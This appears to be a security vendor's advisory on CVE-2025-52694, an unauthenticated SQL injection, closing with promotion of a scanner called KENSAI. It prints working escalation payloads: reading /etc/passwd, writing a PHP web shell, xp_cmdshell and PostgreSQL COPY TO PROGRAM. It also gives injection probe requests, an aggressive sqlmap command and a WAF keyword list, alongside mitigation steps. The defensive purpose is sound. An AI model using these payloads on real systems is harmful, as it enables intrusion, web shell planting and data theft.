CVE-2025-52694: Unauthenticated SQL Injection Enables Arbitrary Command Execution on Exposed Services

A SQL injection vulnerability requiring no authentication allows remote attackers to execute arbitrary SQL commands on vulnerable internet-exposed services, threatening data confidentiality, integrity, and availability. CVSS 10.0.

What Is CVE-2025-52694?

CVE-2025-52694 is a critical SQL injection vulnerability in an internet-exposed service that does not require authentication to exploit. Attackers can inject arbitrary SQL commands directly into the vulnerable service's database queries, potentially reading or modifying all database contents and — depending on database configuration — achieving remote code execution on the underlying server.

SQL injection has been in the OWASP Top 10 since its inception and remains devastatingly effective when present. An unauthenticated, network-accessible SQL injection with full data access is as dangerous as vulnerabilities get — hence the maximum CVSS score.

Technical Impact

SQL Injection to RCE Escalation Path

On databases with extended functionality enabled, SQL injection can escalate to operating system command execution:

-- MySQL with FILE privilege — read OS files
SELECT LOAD_FILE('/etc/passwd');

-- MySQL with INTO OUTFILE — write web shells
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';

-- MSSQL with xp_cmdshell enabled
EXEC xp_cmdshell 'whoami';

-- PostgreSQL large object injection
SELECT lo_import('/etc/passwd');
CREATE OR REPLACE FUNCTION cmd(text) RETURNS text AS $$
  DECLARE result text;
  BEGIN
    EXECUTE 'COPY (SELECT '') TO PROGRAM ''' || $1 || '''';
    RETURN result;
  END;
$$ LANGUAGE plpgsql;

Affected Versions

Check the vendor advisory for specific product and version information. Any version listed as affected that is exposed to internet traffic should be treated as actively exploitable. Update to vendor-supplied patched versions immediately.

Detection Methods

Manual SQL Injection Testing

# Basic error-based detection
# Append ' to parameters and observe error responses
GET /search?q=test' HTTP/1.1

# Boolean-based blind detection
GET /search?q=test' AND 1=1-- -   # Should return normal results
GET /search?q=test' AND 1=2-- -   # Should return empty/different results

# Time-based blind detection (confirm injection)
GET /search?q=test'; WAITFOR DELAY '0:0:5'-- -   # MSSQL
GET /search?q=test'; SELECT SLEEP(5)-- -          # MySQL

# Use SQLMap for automated exploitation confirmation (authorized testing only)
sqlmap -u "https://target.com/page?id=1" --level=5 --risk=3 --dbs

WAF Log Review

Review your WAF or application logs for patterns including SQL keywords (UNION SELECT, OR 1=1, SLEEP(, xp_cmdshell) in request parameters. Active exploitation of CVE-2025-52694 will show these patterns.

Mitigation Steps

1. Apply vendor patch immediately: Update to the patched version as specified in the vendor advisory.
2. Parameterized queries: Ensure all database queries use prepared statements with parameterized inputs — the only reliable fix for SQL injection.
3. Input validation: Validate and sanitize all user-supplied input, rejecting SQL metacharacters where not needed.
4. Least privilege: Database accounts should have minimum required permissions — never sa or root database access from application accounts.
5. WAF rules: Deploy or update WAF rules to detect and block SQL injection payloads — this is a compensating control, not a fix.
6. Disable dangerous stored procedures: Disable xp_cmdshell and other OS-level database functions unless explicitly required.
7. Network segmentation: Database servers should never be directly internet-accessible.

KENSAI Detection Capability

KENSAI provides comprehensive SQL injection detection including CVE-2025-52694:

• Automated injection testing across all HTTP parameters, headers, and body fields
• Error-based, blind boolean, time-based, and UNION-based injection detection
• Database fingerprinting to determine exploitation impact
• Second-order SQL injection detection
• Remediation guidance mapped to CWE-89 and OWASP A03:2021